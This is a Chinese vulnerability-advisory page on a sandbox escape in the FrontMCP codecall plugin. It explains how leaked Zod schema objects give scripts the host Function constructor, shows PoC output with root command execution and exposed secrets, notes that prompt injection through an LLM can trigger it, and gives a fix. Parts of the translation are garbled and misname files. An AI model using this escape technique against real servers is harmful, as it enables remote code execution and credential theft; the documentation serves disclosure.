首页 6G网络 正文

FrontMCP plugin-codecall 沙箱逃逸CVE-2026-67531

摘要

栋科技漏洞库关注到 FrontMCP plugin-codecall 沙箱逃逸漏洞,该漏洞现在已经被追踪为CVE-2026-67531,漏洞的CVSS 3.X评分9.3。

FrontMCP 是一个TypeScript优先、面向Model Context Protocol (MCP,Anthropic 推出的 AI 上下文互通协议) 的生产级开源开发框架。

一、基本情况

FrontMCP 采用 Apache 2.0 协议开源,用来快速搭建 MCP 服务端,补齐 JS/TS 生态缺少成熟 MCP 开发框架的短板,生态起步较晚。

FrontMCP plugin-codecall 沙箱逃逸CVE-2026-67531

FrontMCP本地、云端部署代码完全一致,契合前端/Node.js 技术栈开发者习惯,开箱即用,省去协议封装、鉴权、传输重复开发工作。

栋科技漏洞库关注到 FrontMCP plugin-codecall 沙箱逃逸漏洞,该漏洞现在已经被追踪为CVE-2026-67531,漏洞的CVSS 3.X评分9.3。

二、漏洞分析

CVE-2026-67531是 FrontMCP 相关版本中的安全漏洞, FrontMCP 是一款面向 Model Context Protocol(MCP)的 TypeScript 框架。

由于@frontmcp/plugin-codecall 提供的 codecall:execute 工具在 enclave 沙箱中执行脚本,并通过 getTool 将工具元数据透传给脚本。

该缺陷使沙箱返回宿主 Zod 模式实例,并被 ECMAScript Proxy 不变量放大为安全膜穿透,

单次 MCP tools/call 即可令攻击者以服务端进程权限执行任意代码,

泄露 OAuth 客户端密钥、JWT_SECRET、会话密钥、数据库凭证与云实例元数据。

具体来说,codecall:execute 在 plugins/plugin-codecall/src/tools/execute.tool.ts 中构建 VM 环境,

getTool(name) 回调返回的 inputSchema/outputSchema 就是底层 Tool 的 rawInputSchema/rawOutputSchema,

即 Zod v4 的真实宿主实例。Zod v4 在该实例上挂载 _zod 作为不可配置、不可写的自身属性,

ECMAScript Proxy 不变量强制安全膜在拦截时把原始宿主对象交还给脚本,

脚本进而读取 _zod.constr.constructor(宿主 Function 构造器)并执行任意代码。

框架默认 DEFAULT_AUTH_OPTIONS 为 public 模式,未配置认证的服务器对未授权调用者同样开放该路径。

具体来说,codecall:在@frontmcp/plugin-cocodecall中执行,将实时主机对象交给沙盒脚本。

getTool()返回目标工具的真实Zod模式实例,Zod v4将_Zod定义为不可配置、不可写的自身属性,

因此ECMAScript代理不变量迫使沙箱膜交还原始主机对象。

从那里,一个脚本写道_zod.constr.constructor是宿主函数构造函数,在服务器进程中执行任意代码。

一个MCP工具/调用就足够了,在框架的默认身份验证模式下不需要凭据。

漏洞详情

plugins/plugin-cocodecall/src/tools/execute.tool.ts:156-172构建VM环境并向脚本公开工具元数据:

      getTool: (name: string) => {
        try {
          const tools = this.scope.tools.getTools(true);
          const tool = tools.find((t) => t.name === name || t.fullName === name);

          if (!tool) return undefined;

          return {
            name: tool.name,
            description: tool.metadata?.description,
            inputSchema: tool.rawInputSchema,
            outputSchema: tool.outputSchema,
          };
        } catch {
          return undefined;
        }
      },

rawInputSchema和outputSchema是活动的Zod模式实例,而不是序列化数据。

它们作为自定义全局变量传递到encreat中,函数值在plugins/plugin-cocodecall/src/services/encreat.service.ts:139中明确允许:

      // Allow functions in globals since we intentionally provide getTool, mcpLog, mcpNotify, and console
      allowFunctionsInGlobals: true,

飞地将主机值封装在一个安全的代理中,该代理阻止构造函数、__proto__和原型。

该膜适用于桥接的闭包:

getTool.constructor、callTool.constractor和mcpLog.constructors都引发了“安全违规:对'构造函数'的访问被阻止”。

它不能适用于Zod模式。Zod 4.4.3将_Zod安装为一个自己的数据属性,具有可配置的:false、可写的:false,以及一个代理获取陷阱,

该陷阱为此类属性返回除目标自身值之外的任何值,并抛出TypeError。

因此,膜必须返回原始宿主对象,并且遏制在该跳跃处结束:

getTool("codecall:invoke").outputSchema        -> proxied, .constructor blocked
getTool("codecall:invoke").outputSchema._zod   -> RAW host object

_zod.constr是宿主ZodObject类。

它的构造函数是host Function在宿主领域编译代码,生成process、process.mainModule.require和儿童进程。

AST保护程序确实拒绝直接表单。

({}).constructor.constructor被拒绝使用NO_constructor_ACCESS,.prototype被拒绝使用DISALLOWED_IDENTIFIER。

这两个规则都匹配解析源中的标识符和静态成员名称,因此它们看不到在运行时组装的键:

const k = ["c","o","n","s","t","r","u","c","t","o","r"].join("");

文档化管道的第1层是词法denylist,因此它不会限制什么

第3层在运行时分发。这两层是为了相互支持。

有两个特性使其价格低廉。

插件自己的工具满足了对模式承载工具的要求,因此getTool(“codecall:invoke”)的工作不依赖于宿主应用程序注册的内容。

libs/sdk/src/AUTH/AUTH.register.ts:39中的DEFAULT_AUTH_OPTIONS是{mode:'public'},

在相邻的注释中被描述为“所有工具都打开的公共模式”,因此不配置AUTH的服务器为匿名调用者提供codecall:execute。

根据已发布的@frontmcp进行验证/plugin-codecall@1.5.6:

其捆绑的dist/index.js包含相同的inputSchema:tool.rawInputSchema、outputSchema:tool.outputSchema返回(大约在第2747行)

和相同的allowFunctionsInGlobals:true(大约在1383行)。

三、POC概念验证

1、POC代码

管理员已设置登录后刷新可查看

目标:apps/e2e/demo-e2e-codecall/src/main.ts,此存储库中附带的e2e服务器。

它使用默认安全VM加载CodeCallPlugin.init({mode:'codecall_only',topK:10})

预设和认证:{模式:'public'}。没有什么被削弱。

POSITIVE

  {"status":"ok","result":{"escaped":true,"pid":9831,"nodeVersion":"v24.18.0",
   "cwd":"/root/xbow-final/targets/frontmcp/source","whoami":"root","hostname":"fg0x0",
   "envVarCount":77,"secretsVisible":["GH_TOKEN","H1_API_TOKEN"],
   "fileWritten":"-rw-r--r-- 1 root root 30 /tmp/frontmcp_rce_pos-1784963328.txt"}}

  Checked from outside the server process:
  -rw-r--r-- 1 root root 30 Jul 25 15:08 /tmp/frontmcp_rce_pos-1784963328.txt
  host_rce_via_codecall_execute

BASELINE, the sandbox is real and the naive escape is refused
  return ({}).constructor.constructor("return process")().pid;
  {"status":"illegal_access","error":{"message":"AgentScript validation failed:
   NO_CONSTRUCTOR_ACCESS (line 2): Access to .constructor property is not allowed ..."}}

BASELINE, the pidged closures are mempane-protected, only host data leaks
  typeof getTool[k]
  {"status":"runtime_error","error":{"message":"Security violation: Access to 'constructor'
   is blocked. This property can be used for sandbox escape attacks."}}

ROOT CAUSE, containment is lost exactly at _zod
  {"onProxiedSchema":"blocked: Security violation: Access to 'constructor' is blocked",
   "onRaw_zod":"LEAKED host Object"}
  zod 4.4.3 _zod own-property descriptor = {"configurable":false,"writable":false}

NEGATIVE CONTROL, execute.tool.ts:166-167 changed to expose inert JSON Schema
    inputSchema:  tool.rawInputSchema  ->  tool.getInputJsonSchema?.()
    outputSchema: tool.outputSchema    ->  tool.getOutputJsonSchema?.()
  Same exploit, fresh nonce so nothing is served from cache:
  {"status":"runtime_error","error":{"message":"Cannot read properties of undefined (reading 'constr')"}}
  ls: cannot access '/tmp/frontmcp_rce_neg-1784963334.txt': No such file or directory

  No functional regression under the fix:
  {"status":"ok","result":{"toolName":"users-list","schemaStillUsable":"object"}}

完整的记录,包括服务器启动和两次控制运行,都在poc/poc_evidence.txt中并且可以用poc/verify.sh重现。

一个针对实时服务器的纯curl复制,带有原始HTTP状态行,位于poc/repro_curl.sh并附加到poc/poc_evidence.txt:

### step 1 - initialize (no Authorization header)
HTTP/1.1 200 OK
mcp-session-id: ePu5MXdYY-mqVDMs...

### step 2 - tools/call codecall:execute  (escape -> host command execution)
HTTP/1.1 200 OK
data: {"result":{"content":[{"type":"text","text":"{\"status\":\"ok\",\"result\":\"root\\nexploit_marker_observed\\n\"}"}],...}

### step 3 - host filesystem, checked outside the server process
-rw-r--r-- 1 root root 24 /tmp/frontmcp_rce_curl-1784963935.txt
exploit_marker_observed

2、潜在影响

(1)沙盒逃逸导致远程代码执行CWE-94,其中CWE-501作为底层信任边界违规。

一个codecall:execute调用在MCP服务器进程中运行任意代码:

上面的run以服务器用户的身份执行shell命令,读取进程环境并命名在那里找到的秘密,然后将文件写入主机文件系统。

(2)服务器保存的任何内容都会被公开,包括OAuth客户端机密、JWT_SECRET、会话保管库密钥、数据库凭据和云实例元数据。

前提条件是CodeCallPlugin已加载,并且调用者可以调用codecall:execute。

在默认auth:{mode:'public'}下,即任何未经身份验证的网络客户端。

配置了auth后,它是任何授权的客户端,其中包括插件要服务的LLM,

因此在工具输出或获取的内容中进行间接提示注入就足以触发它,而无需人类攻击者接触端点。

(3)此插件的记录状态与此相反。docs/frontmcp/plugins/codecall/security.mdx描述了“银行级安全”,

一种“零信任运行时”,以及其声明目的是“防止沙盒逃逸和系统访问”的块。

AST保护程序正在根据它可以看到的语法执行工作。

差距在于,一个实时主机对象图首先会越过边界,由JavaScript不变量而不是缺失的检查决定结果。

(4)狭义的修复方法是停止将模式实例传递到包围区中,

而是传递getInputJsonSchema()/getOutputJsonSchema(),这就是负控件的作用。

值得考虑的是:

只有结构上克隆或冻结的纯数据才能进入沙盒,因为任何携带不可配置属性的主机对象都会在设计上破坏代理膜,

AST防护的构造函数和原型规则也应在运行时对计算成员访问强制执行,而不仅仅是词法上。

四、影响范围

FrontMCP ≤ 1.5.6

五、修复建议

FrontMCP ≥ 1.5.7

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接